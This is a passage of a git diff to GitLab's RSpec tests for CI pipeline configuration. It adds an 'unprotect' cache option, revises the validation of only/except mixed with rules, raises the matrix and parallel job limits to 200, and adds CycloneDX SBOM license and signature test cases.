@@ -57,6 +59,14 @@ RSpec.describe Gitlab::Ci::Config::Entry::Cache do
end
end
+ context 'with option `unprotect` specified' do
+ let(:unprotect) { true }
+
+ it 'returns true' do
+ expect(entry.value).to match(a_hash_including(unprotect: true))
+ end
+ end
+
context 'with `policy`' do
where(:policy, :result) do
'pull-push' | 'pull-push'
diff --git a/spec/lib/gitlab/ci/config/entry/job_spec.rb b/spec/lib/gitlab/ci/config/entry/job_spec.rb
index becb46ac2e7..c1b9bd58d98 100644
--- a/spec/lib/gitlab/ci/config/entry/job_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/job_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::Ci::Config::Entry::Job do
+RSpec.describe Gitlab::Ci::Config::Entry::Job, feature_category: :pipeline_authoring do
let(:entry) { described_class.new(config, name: :rspec) }
it_behaves_like 'with inheritable CI config' do
@@ -337,100 +337,6 @@ RSpec.describe Gitlab::Ci::Config::Entry::Job do
end
end
- context 'when only: is used with rules:' do
- let(:config) { { only: ['merge_requests'], rules: [{ if: '$THIS' }] } }
-
- it 'returns error about mixing only: with rules:' do
- expect(entry).not_to be_valid
- expect(entry.errors).to include /may not be used with `rules`/
- end
-
- context 'and only: is blank' do
- let(:config) { { only: nil, rules: [{ if: '$THIS' }] } }
-
- it 'returns error about mixing only: with rules:' do
- expect(entry).not_to be_valid
- expect(entry.errors).to include /may not be used with `rules`/
- end
- end
-
- context 'and rules: is blank' do
- let(:config) { { only: ['merge_requests'], rules: nil } }
-
- it 'returns error about mixing only: with rules:' do
- expect(entry).not_to be_valid
- expect(entry.errors).to include /may not be used with `rules`/
- end
- end
- end
-
- context 'when except: is used with rules:' do
- let(:config) { { except: { refs: %w[master] }, rules: [{ if: '$THIS' }] } }
-
- it 'returns error about mixing except: with rules:' do
- expect(entry).not_to be_valid
- expect(entry.errors).to include /may not be used with `rules`/
- end
-
- context 'and except: is blank' do
- let(:config) { { except: nil, rules: [{ if: '$THIS' }] } }
-
- it 'returns error about mixing except: with rules:' do
- expect(entry).not_to be_valid
- expect(entry.errors).to include /may not be used with `rules`/
- end
- end
-
- context 'and rules: is blank' do
- let(:config) { { except: { refs: %w[master] }, rules: nil } }
-
- it 'returns error about mixing except: with rules:' do
- expect(entry).not_to be_valid
- expect(entry.errors).to include /may not be used with `rules`/
- end
- end
- end
-
- context 'when only: and except: are both used with rules:' do
- let(:config) do
- {
- only: %w[merge_requests],
- except: { refs: %w[master] },
- rules: [{ if: '$THIS' }]
- }
- end
-
- it 'returns errors about mixing both only: and except: with rules:' do
- expect(entry).not_to be_valid
- expect(entry.errors).to include /may not be used with `rules`/
- expect(entry.errors).to include /may not be used with `rules`/
- end
-
- context 'when only: and except: as both blank' do
- let(:config) do
- { only: nil, except: nil, rules: [{ if: '$THIS' }] }
- end
-
- it 'returns errors about mixing both only: and except: with rules:' do
- expect(entry).not_to be_valid
- expect(entry.errors).to include /may not be used with `rules`/
- expect(entry.errors).to include /may not be used with `rules`/
- end
- end
-
- context 'when rules: is blank' do
- let(:config) do
- { only: %w[merge_requests], except: { refs: %w[master] }, rules: nil }
- end
-
- it 'returns errors about mixing both only: and except: with rules:' do
- expect(entry).not_to be_valid
- expect(entry.errors).to include /may not be used with `rules`/
- expect(entry.errors).to include /may not be used with `rules`/
- end
- end
- end
-
context 'when start_in specified without delayed specification' do
let(:config) { { start_in: '1 day' } }
@@ -603,6 +509,92 @@ RSpec.describe Gitlab::Ci::Config::Entry::Job do
end
end
end
+
+ context 'when only: is used with rules:' do
+ let(:config) { { only: ['merge_requests'], rules: [{ if: '$THIS' }], script: 'echo' } }
+
+ it 'returns error about mixing only: with rules:' do
+ expect(entry).not_to be_valid
+ expect(entry.errors).to include /may not be used with `rules`: only/
+ end
+
+ context 'and only: is blank' do
+ let(:config) { { only: nil, rules: [{ if: '$THIS' }], script: 'echo' } }
+
+ it 'is valid:' do
+ expect(entry).to be_valid
+ end
+ end
+
+ context 'and rules: is blank' do
+ let(:config) { { only: ['merge_requests'], rules: nil, script: 'echo' } }
+
+ it 'is valid' do
+ expect(entry).to be_valid
+ end
+ end
+ end
+
+ context 'when except: is used with rules:' do
+ let(:config) { { except: { refs: %w[master] }, rules: [{ if: '$THIS' }], script: 'echo' } }
+
+ it 'returns error about mixing except: with rules:' do
+ expect(entry).not_to be_valid
+ expect(entry.errors).to include /may not be used with `rules`: except/
+ end
+
+ context 'and except: is blank' do
+ let(:config) { { except: nil, rules: [{ if: '$THIS' }], script: 'echo' } }
+
+ it 'is valid' do
+ expect(entry).to be_valid
+ end
+ end
+
+ context 'and rules: is blank' do
+ let(:config) { { except: { refs: %w[master] }, rules: nil, script: 'echo' } }
+
+ it 'is valid' do
+ expect(entry).to be_valid
+ end
+ end
+ end
+
+ context 'when only: and except: are both used with rules:' do
+ let(:config) do
+ {
+ only: %w[merge_requests],
+ except: { refs: %w[master] },
+ rules: [{ if: '$THIS' }],
+ script: 'echo'
+ }
+ end
+
+ it 'returns errors about mixing both only: and except: with rules:' do
+ expect(entry).not_to be_valid
+ expect(entry.errors).to include /may not be used with `rules`: only, except/
+ end
+
+ context 'when only: and except: as both blank' do
+ let(:config) do
+ { only: nil, except: nil, rules: [{ if: '$THIS' }], script: 'echo' }
+ end
+
+ it 'is valid' do
+ expect(entry).to be_valid
+ end
+ end
+
+ context 'when rules: is blank' do
+ let(:config) do
+ { only: %w[merge_requests], except: { refs: %w[master] }, rules: nil, script: 'echo' }
+ end
+
+ it 'is valid' do
+ expect(entry).to be_valid
+ end
+ end
+ end
end
describe '#relevant?' do
@@ -639,7 +631,7 @@ RSpec.describe Gitlab::Ci::Config::Entry::Job do
it 'overrides default config' do
expect(entry[:image].value).to eq(name: 'some_image')
- expect(entry[:cache].value).to eq([key: 'test', policy: 'pull-push', when: 'on_success'])
+ expect(entry[:cache].value).to eq([key: 'test', policy: 'pull-push', when: 'on_success', unprotect: false])
end
end
@@ -654,7 +646,7 @@ RSpec.describe Gitlab::Ci::Config::Entry::Job do
it 'uses config from default entry' do
expect(entry[:image].value).to eq 'specified'
- expect(entry[:cache].value).to eq([key: 'test', policy: 'pull-push', when: 'on_success'])
+ expect(entry[:cache].value).to eq([key: 'test', policy: 'pull-push', when: 'on_success', unprotect: false])
end
end
diff --git a/spec/lib/gitlab/ci/config/entry/processable_spec.rb b/spec/lib/gitlab/ci/config/entry/processable_spec.rb
index f1578a068b9..b28562ba2ea 100644
--- a/spec/lib/gitlab/ci/config/entry/processable_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/processable_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::Ci::Config::Entry::Processable do
+RSpec.describe Gitlab::Ci::Config::Entry::Processable, feature_category: :pipeline_authoring do
let(:node_class) do
Class.new(::Gitlab::Config::Entry::Node) do
include Gitlab::Ci::Config::Entry::Processable
@@ -104,111 +104,102 @@ RSpec.describe Gitlab::Ci::Config::Entry::Processable do
end
end
- context 'when only: is used with rules:' do
- let(:config) { { only: ['merge_requests'], rules: [{ if: '$THIS' }] } }
+ context 'when a variable has an invalid data attribute' do
+ let(:config) do
+ {
+ script: 'echo',
+ variables: { 'VAR1' => 'val 1', 'VAR2' => { value: 'val 2', description: 'hello var 2' } }
+ }
+ end
- it 'returns error about mixing only: with rules:' do
- expect(entry).not_to be_valid
- expect(entry.errors).to include /may not be used with `rules`/
+ it 'reports error about variable' do
+ expect(entry.errors)
+ .to include 'variables:var2 config uses invalid data keys: description'
end
+ end
+ end
- context 'and only: is blank' do
- let(:config) { { only: nil, rules: [{ if: '$THIS' }] } }
+ context 'when only: is used with rules:' do
+ let(:config) { { only: ['merge_requests'], rules: [{ if: '$THIS' }] } }
- it 'returns error about mixing only: with rules:' do
- expect(entry).not_to be_valid
- expect(entry.errors).to include /may not be used with `rules`/
- end
- end
+ it 'returns error about mixing only: with rules:' do
+ expect(entry).not_to be_valid
+ expect(entry.errors).to include /may not be used with `rules`: only/
+ end
- context 'and rules: is blank' do
- let(:config) { { only: ['merge_requests'], rules: nil } }
+ context 'and only: is blank' do
+ let(:config) { { only: nil, rules: [{ if: '$THIS' }] } }
- it 'returns error about mixing only: with rules:' do
- expect(entry).not_to be_valid
- expect(entry.errors).to include /may not be used with `rules`/
- end
+ it 'is valid' do
+ expect(entry).to be_valid
end
end
- context 'when except: is used with rules:' do
- let(:config) { { except: { refs: %w[master] }, rules: [{ if: '$THIS' }] } }
+ context 'and rules: is blank' do
+ let(:config) { { only: ['merge_requests'], rules: nil } }
- it 'returns error about mixing except: with rules:' do
- expect(entry).not_to be_valid
- expect(entry.errors).to include /may not be used with `rules`/
+ it 'is valid' do
+ expect(entry).to be_valid
end
+ end
+ end
- context 'and except: is blank' do
- let(:config) { { except: nil, rules: [{ if: '$THIS' }] } }
+ context 'when except: is used with rules:' do
+ let(:config) { { except: { refs: %w[master] }, rules: [{ if: '$THIS' }] } }
- it 'returns error about mixing except: with rules:' do
- expect(entry).not_to be_valid
- expect(entry.errors).to include /may not be used with `rules`/
- end
- end
+ it 'returns error about mixing except: with rules:' do
+ expect(entry).not_to be_valid
+ expect(entry.errors).to include /may not be used with `rules`: except/
+ end
- context 'and rules: is blank' do
- let(:config) { { except: { refs: %w[master] }, rules: nil } }
+ context 'and except: is blank' do
+ let(:config) { { except: nil, rules: [{ if: '$THIS' }] } }
- it 'returns error about mixing except: with rules:' do
- expect(entry).not_to be_valid
- expect(entry.errors).to include /may not be used with `rules`/
- end
+ it 'is valid' do
+ expect(entry).to be_valid
end
end
- context 'when only: and except: are both used with rules:' do
- let(:config) do
- {
- only: %w[merge_requests],
- except: { refs: %w[master] },
- rules: [{ if: '$THIS' }]
- }
- end
+ context 'and rules: is blank' do
+ let(:config) { { except: { refs: %w[master] }, rules: nil } }
- it 'returns errors about mixing both only: and except: with rules:' do
- expect(entry).not_to be_valid
- expect(entry.errors).to include /may not be used with `rules`/
- expect(entry.errors).to include /may not be used with `rules`/
+ it 'is valid' do
+ expect(entry).to be_valid
end
+ end
+ end
- context 'when only: and except: as both blank' do
- let(:config) do
- { only: nil, except: nil, rules: [{ if: '$THIS' }] }
- end
+ context 'when only: and except: are both used with rules:' do
+ let(:config) do
+ {
+ only: %w[merge_requests],
+ except: { refs: %w[master] },
+ rules: [{ if: '$THIS' }]
+ }
+ end
- it 'returns errors about mixing both only: and except: with rules:' do
- expect(entry).not_to be_valid
- expect(entry.errors).to include /may not be used with `rules`/
- expect(entry.errors).to include /may not be used with `rules`/
- end
- end
+ it 'returns errors about mixing both only: and except: with rules:' do
+ expect(entry).not_to be_valid
+ expect(entry.errors).to include /may not be used with `rules`: only, except/
+ end
- context 'when rules: is blank' do
- let(:config) do
- { only: %w[merge_requests], except: { refs: %w[master] }, rules: nil }
- end
+ context 'when only: and except: as both blank' do
+ let(:config) do
+ { only: nil, except: nil, rules: [{ if: '$THIS' }] }
+ end
- it 'returns errors about mixing both only: and except: with rules:' do
- expect(entry).not_to be_valid
- expect(entry.errors).to include /may not be used with `rules`/
- expect(entry.errors).to include /may not be used with `rules`/
- end
+ it 'is valid' do
+ expect(entry).to be_valid
end
end
- context 'when a variable has an invalid data attribute' do
+ context 'when rules: is blank' do
let(:config) do
- {
- script: 'echo',
- variables: { 'VAR1' => 'val 1', 'VAR2' => { value: 'val 2', description: 'hello var 2' } }
- }
+ { only: %w[merge_requests], except: { refs: %w[master] }, rules: nil }
end
- it 'reports error about variable' do
- expect(entry.errors)
- .to include 'variables:var2 config uses invalid data keys: description'
+ it 'is valid' do
+ expect(entry).to be_valid
end
end
end
diff --git a/spec/lib/gitlab/ci/config/entry/product/matrix_spec.rb b/spec/lib/gitlab/ci/config/entry/product/matrix_spec.rb
index 394d91466bf..cbd3109522c 100644
--- a/spec/lib/gitlab/ci/config/entry/product/matrix_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/product/matrix_spec.rb
@@ -29,7 +29,7 @@ RSpec.describe ::Gitlab::Ci::Config::Entry::Product::Matrix do
[
{
'VAR_1' => (1..10).to_a,
- 'VAR_2' => (11..20).to_a
+ 'VAR_2' => (11..31).to_a
}
]
end
@@ -41,7 +41,7 @@ RSpec.describe ::Gitlab::Ci::Config::Entry::Product::Matrix do
describe '#errors' do
it 'returns error about too many jobs' do
expect(matrix.errors)
- .to include('matrix config generates too many jobs (maximum is 50)')
+ .to include('matrix config generates too many jobs (maximum is 200)')
end
end
end
diff --git a/spec/lib/gitlab/ci/config/entry/product/parallel_spec.rb b/spec/lib/gitlab/ci/config/entry/product/parallel_spec.rb
index a16f1cf9e43..ec21519a8f6 100644
--- a/spec/lib/gitlab/ci/config/entry/product/parallel_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/product/parallel_spec.rb
@@ -33,10 +33,10 @@ RSpec.describe ::Gitlab::Ci::Config::Entry::Product::Parallel do
it_behaves_like 'invalid config', /must be greater than or equal to 2/
end
- context 'when it is bigger than 50' do
- let(:config) { 51 }
+ context 'when it is bigger than 200' do
+ let(:config) { 201 }
- it_behaves_like 'invalid config', /must be less than or equal to 50/
+ it_behaves_like 'invalid config', /must be less than or equal to 200/
end
context 'when it is not an integer' do
diff --git a/spec/lib/gitlab/ci/config/entry/reports/coverage_report_spec.rb b/spec/lib/gitlab/ci/config/entry/reports/coverage_report_spec.rb
index 0fd9a83a4fa..ccd6f6ab427 100644
--- a/spec/lib/gitlab/ci/config/entry/reports/coverage_report_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/reports/coverage_report_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::Ci::Config::Entry::Reports::CoverageReport do
+RSpec.describe Gitlab::Ci::Config::Entry::Reports::CoverageReport, feature_category: :pipeline_authoring do
let(:entry) { described_class.new(config) }
describe 'validations' do
@@ -14,6 +14,16 @@ RSpec.describe Gitlab::Ci::Config::Entry::Reports::CoverageReport do
it { expect(entry.value).to eq(config) }
end
+ context 'when it is not a hash' do
+ where(:config) { ['string', true, []] }
+
+ with_them do
+ it { expect(entry).not_to be_valid }
+
+ it { expect(entry.errors).to include /should be a hash/ }
+ end
+ end
+
context 'with unsupported coverage format' do
let(:config) { { coverage_format: 'jacoco', path: 'jacoco.xml' } }
diff --git a/spec/lib/gitlab/ci/config/entry/reports_spec.rb b/spec/lib/gitlab/ci/config/entry/reports_spec.rb
index 45aa859a356..715cb18fb92 100644
--- a/spec/lib/gitlab/ci/config/entry/reports_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/reports_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::Ci::Config::Entry::Reports do
+RSpec.describe Gitlab::Ci::Config::Entry::Reports, feature_category: :pipeline_authoring do
let(:entry) { described_class.new(config) }
describe 'validates ALLOWED_KEYS' do
@@ -90,6 +90,18 @@ RSpec.describe Gitlab::Ci::Config::Entry::Reports do
end
end
end
+
+ context 'when coverage_report is nil' do
+ let(:config) { { coverage_report: nil } }
+
+ it 'is valid' do
+ expect(entry).to be_valid
+ end
+
+ it 'returns artifacts configuration as an empty hash' do
+ expect(entry.value).to eq({})
+ end
+ end
end
context 'when entry value is not correct' do
diff --git a/spec/lib/gitlab/ci/config/entry/root_spec.rb b/spec/lib/gitlab/ci/config/entry/root_spec.rb
index c40589104cd..9722609aef6 100644
--- a/spec/lib/gitlab/ci/config/entry/root_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/root_spec.rb
@@ -127,7 +127,8 @@ RSpec.describe Gitlab::Ci::Config::Entry::Root do
image: { name: 'image:1.0' },
services: [{ name: 'postgres:9.1' }, { name: 'mysql:5.5' }],
stage: 'test',
- cache: [{ key: 'k', untracked: true, paths: ['public/'], policy: 'pull-push', when: 'on_success' }],
+ cache: [{ key: 'k', untracked: true, paths: ['public/'], policy: 'pull-push', when: 'on_success',
+ unprotect: false }],
job_variables: {},
root_variables_inheritance: true,
ignore: false,
@@ -142,7 +143,8 @@ RSpec.describe Gitlab::Ci::Config::Entry::Root do
image: { name: 'image:1.0' },
services: [{ name: 'postgres:9.1' }, { name: 'mysql:5.5' }],
stage: 'test',
- cache: [{ key: 'k', untracked: true, paths: ['public/'], policy: 'pull-push', when: 'on_success' }],
+ cache: [{ key: 'k', untracked: true, paths: ['public/'], policy: 'pull-push', when: 'on_success',
+ unprotect: false }],
job_variables: {},
root_variables_inheritance: true,
ignore: false,
@@ -158,7 +160,8 @@ RSpec.describe Gitlab::Ci::Config::Entry::Root do
release: { name: "Release $CI_TAG_NAME", tag_name: 'v0.06', description: "./release_changelog.txt" },
image: { name: "image:1.0" },
services: [{ name: "postgres:9.1" }, { name: "mysql:5.5" }],
- cache: [{ key: "k", untracked: true, paths: ["public/"], policy: "pull-push", when: 'on_success' }],
+ cache: [{ key: "k", untracked: true, paths: ["public/"], policy: "pull-push", when: 'on_success',
+ unprotect: false }],
only: { refs: %w(branches tags) },
job_variables: { 'VAR' => { value: 'job' } },
root_variables_inheritance: true,
@@ -206,7 +209,7 @@ RSpec.describe Gitlab::Ci::Config::Entry::Root do
image: { name: 'image:1.0' },
services: [{ name: 'postgres:9.1' }, { name: 'mysql:5.5' }],
stage: 'test',
- cache: [{ key: 'k', untracked: true, paths: ['public/'], policy: 'pull-push', when: 'on_success' }],
+ cache: [{ key: 'k', untracked: true, paths: ['public/'], policy: 'pull-push', when: 'on_success', unprotect: false }],
job_variables: {},
root_variables_inheritance: true,
ignore: false,
@@ -219,7 +222,7 @@ RSpec.describe Gitlab::Ci::Config::Entry::Root do
image: { name: 'image:1.0' },
services: [{ name: 'postgres:9.1' }, { name: 'mysql:5.5' }],
stage: 'test',
- cache: [{ key: 'k', untracked: true, paths: ['public/'], policy: 'pull-push', when: 'on_success' }],
+ cache: [{ key: 'k', untracked: true, paths: ['public/'], policy: 'pull-push', when: 'on_success', unprotect: false }],
job_variables: { 'VAR' => { value: 'job' } },
root_variables_inheritance: true,
ignore: false,
@@ -274,7 +277,7 @@ RSpec.describe Gitlab::Ci::Config::Entry::Root do
describe '#cache_value' do
it 'returns correct cache definition' do
- expect(root.cache_value).to eq([key: 'a', policy: 'pull-push', when: 'on_success'])
+ expect(root.cache_value).to eq([key: 'a', policy: 'pull-push', when: 'on_success', unprotect: false])
end
end
end
diff --git a/spec/lib/gitlab/ci/config/entry/variable_spec.rb b/spec/lib/gitlab/ci/config/entry/variable_spec.rb
index 97b06c8b1a5..1067db6d124 100644
--- a/spec/lib/gitlab/ci/config/entry/variable_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/variable_spec.rb
@@ -257,14 +257,6 @@ RSpec.describe Gitlab::Ci::Config::Entry::Variable do
subject(:value_with_data) { entry.value_with_data }
it { is_expected.to eq(value: 'value', raw: true) }
-
- context 'when the FF ci_raw_variables_in_yaml_config is disabled' do
- before do
- stub_feature_flags(ci_raw_variables_in_yaml_config: false)
- end
-
- it { is_expected.to eq(value: 'value') }
- end
end
context 'when config expand is true' do
diff --git a/spec/lib/gitlab/ci/config/external/file/local_spec.rb b/spec/lib/gitlab/ci/config/external/file/local_spec.rb
index f5b36ebfa45..a77acb45978 100644
--- a/spec/lib/gitlab/ci/config/external/file/local_spec.rb
+++ b/spec/lib/gitlab/ci/config/external/file/local_spec.rb
@@ -2,11 +2,13 @@
require 'spec_helper'
-RSpec.describe Gitlab::Ci::Config::External::File::Local do
+RSpec.describe Gitlab::Ci::Config::External::File::Local, feature_category: :pipeline_authoring do
+ include RepoHelpers
+
let_it_be(:project) { create(:project, :repository) }
let_it_be(:user) { create(:user) }
- let(:sha) { '12345' }
+ let(:sha) { project.commit.sha }
let(:variables) { project.predefined_variables.to_runner_variables }
let(:context) { Gitlab::Ci::Config::External::Context.new(**context_params) }
let(:params) { { local: location } }
@@ -172,14 +174,17 @@ RSpec.describe Gitlab::Ci::Config::External::File::Local do
let(:another_location) { 'another-config.yml' }
let(:another_content) { 'rspec: JOB' }
- before do
- allow(project.repository).to receive(:blob_data_at).with(sha, location)
- .and_return(content)
-
- allow(project.repository).to receive(:blob_data_at).with(sha, another_location)
- .and_return(another_content)
+ let(:project_files) do
+ {
+ location => content,
+ another_location => another_content
+ }
+ end
- local_file.validate!
+ around(:all) do |example|
+ create_and_delete_files(project, project_files) do
+ example.run
+ end
end
it 'does expand hash to include the template' do
@@ -196,11 +201,11 @@ RSpec.describe Gitlab::Ci::Config::External::File::Local do
it {
is_expected.to eq(
context_project: project.full_path,
- context_sha: '12345',
+ context_sha: sha,
type: :local,
- location: location,
- blob: "http://localhost/#{project.full_path}/-/blob/12345/lib/gitlab/ci/templates/existent-file.yml",
- raw: "http://localhost/#{project.full_path}/-/raw/12345/lib/gitlab/ci/templates/existent-file.yml",
+ location: '/lib/gitlab/ci/templates/existent-file.yml',
+ blob: "http://localhost/#{project.full_path}/-/blob/#{sha}/lib/gitlab/ci/templates/existent-file.yml",
+ raw: "http://localhost/#{project.full_path}/-/raw/#{sha}/lib/gitlab/ci/templates/existent-file.yml",
extra: {}
)
}
diff --git a/spec/lib/gitlab/ci/config/external/mapper_spec.rb b/spec/lib/gitlab/ci/config/external/mapper_spec.rb
index b7e58d4dfa1..9d0e57d4292 100644
--- a/spec/lib/gitlab/ci/config/external/mapper_spec.rb
+++ b/spec/lib/gitlab/ci/config/external/mapper_spec.rb
@@ -2,7 +2,8 @@
require 'spec_helper'
-# This will be removed with FF ci_refactoring_external_mapper and moved to below.
+# This will be use with the FF ci_refactoring_external_mapper_verifier in the next MR.
+# It can be removed when the FF is removed.
RSpec.shared_context 'gitlab_ci_config_external_mapper' do
include StubRequests
include RepoHelpers
@@ -466,12 +467,4 @@ end
RSpec.describe Gitlab::Ci::Config::External::Mapper, feature_category: :pipeline_authoring do
it_behaves_like 'gitlab_ci_config_external_mapper'
-
- context 'when the FF ci_refactoring_external_mapper is disabled' do
- before do
- stub_feature_flags(ci_refactoring_external_mapper: false)
- end
-
- it_behaves_like 'gitlab_ci_config_external_mapper'
- end
end
diff --git a/spec/lib/gitlab/ci/config_spec.rb b/spec/lib/gitlab/ci/config_spec.rb
index b48a89059bf..5cdc9c21561 100644
--- a/spec/lib/gitlab/ci/config_spec.rb
+++ b/spec/lib/gitlab/ci/config_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Gitlab::Ci::Config, feature_category: :pipeline_authoring do
include StubRequests
+ include RepoHelpers
let_it_be(:user) { create(:user) }
@@ -313,9 +314,12 @@ RSpec.describe Gitlab::Ci::Config, feature_category: :pipeline_authoring do
context "when using 'include' directive" do
let_it_be(:group) { create(:group) }
+ let_it_be(:project) { create(:project, :repository, group: group) }
+ let_it_be(:main_project) { create(:project, :repository, :public, group: group) }
+
+ let(:project_sha) { project.commit.id }
+ let(:main_project_sha) { main_project.commit.id }
- let(:project) { create(:project, :repository, group: group) }
- let(:main_project) { create(:project, :repository, :public, group: group) }
let(:pipeline) { build(:ci_pipeline, project: project) }
let(:remote_location) { 'https://gitlab.com/gitlab-org/gitlab-foss/blob/1234/.gitlab-ci-1.yml' }
@@ -356,36 +360,38 @@ RSpec.describe Gitlab::Ci::Config, feature_category: :pipeline_authoring do
end
let(:config) do
- described_class.new(gitlab_ci_yml, project: project, pipeline: pipeline, sha: '12345', user: user)
+ described_class.new(gitlab_ci_yml, project: project, pipeline: pipeline, sha: project_sha, user: user)
end
- before do
- stub_full_request(remote_location).to_return(body: remote_file_content)
-
- allow(project.repository)
- .to receive(:blob_data_at).and_return(local_file_content)
+ let(:project_files) do
+ {
+ local_location => local_file_content
+ }
+ end
- main_project.repository.create_file(
- main_project.creator,
- '.gitlab-ci.yml',
- local_file_content,
- message: 'Add README.md',
- branch_name: 'master'
- )
+ let(:main_project_files) do
+ {
+ '.gitlab-ci.yml' => local_file_content,
+ '.another-ci-file.yml' => local_file_content
+ }
+ end
- main_project.repository.create_file(
- main_project.creator,
- '.another-ci-file.yml',
- local_file_content,
- message: 'Add README.md',
- branch_name: 'master'
- )
+ before do
+ stub_full_request(remote_location).to_return(body: remote_file_content)
create(:ci_variable, project: project, key: "REF", value: "HEAD")
create(:ci_group_variable, group: group, key: "FILENAME", value: ".gitlab-ci.yml")
create(:ci_instance_variable, key: 'MAIN_PROJECT', value: main_project.full_path)
end
+ around do |example|
+ create_and_delete_files(project, project_files) do
+ create_and_delete_files(main_project, main_project_files) do
+ example.run
+ end
+ end
+ end
+
context "when gitlab_ci_yml has valid 'include' defined" do
it 'returns a composed hash' do
composed_hash = {
@@ -434,25 +440,25 @@ RSpec.describe Gitlab::Ci::Config, feature_category: :pipeline_authoring do
expect(config.metadata[:includes]).to contain_exactly(
{ type: :local,
location: local_location,
- blob: "http://localhost/#{project.full_path}/-/blob/12345/#{local_location}",
- raw: "http://localhost/#{project.full_path}/-/raw/12345/#{local_location}",
+ blob: "http://localhost/#{project.full_path}/-/blob/#{project_sha}/#{local_location}",
+ raw: "http://localhost/#{project.full_path}/-/raw/#{project_sha}/#{local_location}",
extra: {},
context_project: project.full_path,
- context_sha: '12345' },
+ context_sha: project_sha },
{ type: :remote,
location: remote_location,
blob: nil,
raw: remote_location,
extra: {},
context_project: project.full_path,
- context_sha: '12345' },
+ context_sha: project_sha },
{ type: :file,
location: '.gitlab-ci.yml',
- blob: "http://localhost/#{main_project.full_path}/-/blob/#{main_project.commit.sha}/.gitlab-ci.yml",
- raw: "http://localhost/#{main_project.full_path}/-/raw/#{main_project.commit.sha}/.gitlab-ci.yml",
+ blob: "http://localhost/#{main_project.full_path}/-/blob/#{main_project_sha}/.gitlab-ci.yml",
+ raw: "http://localhost/#{main_project.full_path}/-/raw/#{main_project_sha}/.gitlab-ci.yml",
extra: { project: main_project.full_path, ref: 'HEAD' },
context_project: project.full_path,
- context_sha: '12345' }
+ context_sha: project_sha }
)
end
end
@@ -511,16 +517,13 @@ RSpec.describe Gitlab::Ci::Config, feature_category: :pipeline_authoring do
describe 'external file version' do
context 'when external local file SHA is defined' do
it 'is using a defined value' do
- expect(project.repository).to receive(:blob_data_at)
- .with('eeff1122', local_location)
-
- described_class.new(gitlab_ci_yml, project: project, sha: 'eeff1122', user: user, pipeline: pipeline)
+ described_class.new(gitlab_ci_yml, project: project, sha: project_sha, user: user, pipeline: pipeline)
end
end
context 'when external local file SHA is not defined' do
it 'is using latest SHA on the default branch' do
- expect(project.repository).to receive(:root_ref_sha)
+ expect(project.repository).to receive(:root_ref_sha).and_call_original
described_class.new(gitlab_ci_yml, project: project, sha: nil, user: user, pipeline: pipeline)
end
@@ -757,13 +760,11 @@ RSpec.describe Gitlab::Ci::Config, feature_category: :pipeline_authoring do
before do
project.add_developer(user)
+ end
- allow_next_instance_of(Repository) do |repository|
- allow(repository).to receive(:blob_data_at).with(an_instance_of(String), local_location)
- .and_return(local_file_content)
-
- allow(repository).to receive(:blob_data_at).with(an_instance_of(String), other_file_location)
- .and_return(other_file_content)
+ around do |example|
+ create_and_delete_files(project, { other_file_location => other_file_content }) do
+ example.run
end
end
@@ -819,14 +820,10 @@ RSpec.describe Gitlab::Ci::Config, feature_category: :pipeline_authoring do
HEREDOC
end
- before do
- project.repository.create_file(
- project.creator,
- 'my_builds.yml',
- local_file_content,
- message: 'Add my_builds.yml',
- branch_name: '12345'
- )
+ around do |example|
+ create_and_delete_files(project, { 'my_builds.yml' => local_file_content }) do
+ example.run
+ end
end
context 'when the exists file does not exist' do
@@ -853,7 +850,7 @@ RSpec.describe Gitlab::Ci::Config, feature_category: :pipeline_authoring do
include:
- local: #{local_location}
rules:
- - if: $CI_COMMIT_SHA == "#{project.commit.sha}"
+ - if: $CI_COMMIT_REF_NAME == "master"
HEREDOC
end
diff --git a/spec/lib/gitlab/ci/parsers/sbom/validators/cyclonedx_schema_validator_spec.rb b/spec/lib/gitlab/ci/parsers/sbom/validators/cyclonedx_schema_validator_spec.rb
index 712dc00ec7a..acb7c122bcd 100644
--- a/spec/lib/gitlab/ci/parsers/sbom/validators/cyclonedx_schema_validator_spec.rb
+++ b/spec/lib/gitlab/ci/parsers/sbom/validators/cyclonedx_schema_validator_spec.rb
@@ -62,6 +62,47 @@ RSpec.describe Gitlab::Ci::Parsers::Sbom::Validators::CyclonedxSchemaValidator,
it { is_expected.to be_valid }
end
+ context 'when components have licenses' do
+ let(:components) do
+ [
+ {
+ "type" => "library",
+ "name" => "activesupport",
+ "version" => "5.1.4",
+ "licenses" => [
+ { "license" => { "id" => "MIT" } }
+ ]
+ }
+ ]
+ end
+
+ it { is_expected.to be_valid }
+ end
+
+ context 'when components have a signature' do
+ let(:components) do
+ [
+ {
+ "type" => "library",
+ "name" => "activesupport",
+ "version" => "5.1.4",
+ "signature" => {
+ "algorithm" => "ES256",
+ "publicKey" => {
+ "kty" => "EC",
+ "crv" => "P-256",
+ "x" => "6BKxpty8cI-exDzCkh-goU6dXq3MbcY0cd1LaAxiNrU",
+ "y" => "mCbcvUzm44j3Lt2b5BPyQloQ91tf2D2V-gzeUxWaUdg"
+ },
+ "value" => "ybT1qz5zHNi4Ndc6y7Zhamuf51IqXkPkZwjH1XcC-KSuBiaQplTw6Jasf2MbCLg3CF7PAdnMO__WSLwvI5r2jA"
+ }
+ }
+ ]
+ end
+
+ it { is_expected.to be_valid }
+ end
+
context "when components are not valid" do
let(:components) do
[
diff --git a/spec/lib/gitlab/ci/parsers/security/validators/schema_validator_spec.rb b/spec/lib/gitlab/ci/parsers/security/validators/schema_validator_spec.rb
index c94ed1f8d6d..12886c79d7d 100644
--- a/spec/lib/gitlab/ci/parsers/security/validators/schema_validator_spec.rb
+++ b/spec/lib/gitlab/ci/parsers/security/validators/schema_validator_spec.rb
@@ -2,9 +2,10 @@
require 'spec_helper'
